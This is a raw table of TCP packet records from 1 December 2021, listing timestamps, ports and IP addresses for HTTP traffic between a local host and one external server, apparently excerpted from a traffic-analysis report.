Dec 1, 2021 09:14:28.809072971 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809084892 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809102058 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809132099 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809135914 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809159040 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809184074 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809197903 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809210062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809231043 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809232950 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809251070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809276104 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809293985 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809300900 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809324980 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809336901 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809351921 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809353113 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809377909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809390068 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809403896 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809429884 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809453011 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809463024 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809479952 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809504032 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809504986 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809529066 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809561014 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809576988 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809587002 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809609890 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809623957 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809633970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809659004 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809660912 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809680939 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809703112 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809726000 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809731007 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809758902 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809783936 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809807062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809832096 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809834957 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809855938 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809856892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809881926 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809909105 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809916973 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.809935093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809957981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809983969 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.809994936 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810003996 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810010910 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810036898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810050964 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810065985 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810091972 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810117006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810136080 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810142994 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810168982 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810184956 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810194016 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810209990 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810220957 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810246944 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810262918 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810271025 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810296059 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810312033 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810322046 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810345888 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810369015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810369968 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810394049 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810410976 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810419083 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810445070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810471058 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810496092 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.810503960 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.810527086 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.844111919 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868432999 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868470907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868490934 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868510962 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868530035 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868550062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868573904 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868598938 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868623018 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868647099 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868659973 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868669987 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868695974 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868717909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868742943 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868767023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868792057 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868793964 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868818045 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868840933 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868843079 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868868113 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868899107 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868925095 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868948936 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868972063 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.868972063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.868999004 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869012117 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869024992 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869041920 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869050980 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869076014 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869098902 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869122982 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869148970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869153023 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869174004 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869194984 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869199038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869224072 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869246006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869246960 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869270086 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869293928 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869314909 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869318008 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869342089 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869349957 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869364023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869386911 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869411945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869426012 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869430065 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869436026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869461060 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869483948 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869487047 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869503021 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869520903 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869535923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869544983 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869554043 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869570017 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869585991 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869604111 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869616032 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869617939 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869632959 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869643927 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869652033 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869668961 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869683981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869690895 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869702101 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869719028 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869725943 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869735956 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869754076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869760990 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869771957 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869787931 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869795084 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869805098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869822025 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869829893 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869837999 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.869860888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.869888067 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.902189970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.927968025 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.927994967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928009033 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928025007 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928040028 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928056955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928072929 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928075075 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928091049 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928109884 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928132057 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928148031 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928152084 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928174973 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928184032 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928195953 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928210020 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928217888 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928234100 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928241968 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928265095 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928286076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928289890 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928312063 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928328991 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928333044 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928352118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928368092 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928378105 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928384066 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928400993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928404093 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928427935 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928445101 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928456068 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928461075 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928479910 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928495884 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928512096 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928520918 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928529024 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928545952 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928545952 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928563118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928564072 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928580999 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928591013 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928597927 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928615093 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928627968 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928631067 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928647995 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928664923 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928687096 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928693056 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928709030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928731918 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928751945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928774118 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928774118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928793907 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928797007 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928822041 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928844929 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928865910 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928870916 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928895950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928920031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928945065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928946018 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928967953 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.928991079 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.928992033 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929014921 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929025888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929038048 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929061890 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929083109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929085016 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929107904 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929125071 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929131031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929148912 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929169893 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929191113 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929200888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929213047 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929234028 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929235935 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929259062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929259062 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929280996 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929297924 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929306030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929331064 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.929359913 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.929595947 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987226963 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987267017 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987293005 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987317085 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987333059 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987341881 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987375021 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987395048 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987404108 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987432003 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987457037 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987488031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987504959 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987514973 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987521887 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987540960 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987545013 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987566948 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987591982 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987613916 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987633944 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987646103 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987657070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987678051 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987678051 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987704039 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987704992 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987730026 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987737894 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987756968 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987782955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987802982 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987807989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987833023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987857103 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987874031 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987881899 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987906933 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987915993 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987931967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987941027 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.987957954 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.987983942 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988003016 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988009930 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988037109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988059044 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988059044 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988081932 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988102913 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988104105 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988127947 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988148928 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988152981 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988169909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988190889 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988192081 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988214970 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988240004 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988249063 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988261938 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988285065 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988292933 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988308907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988328934 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988351107 CET	80	49805	95.213.165.249	192.168.2.4
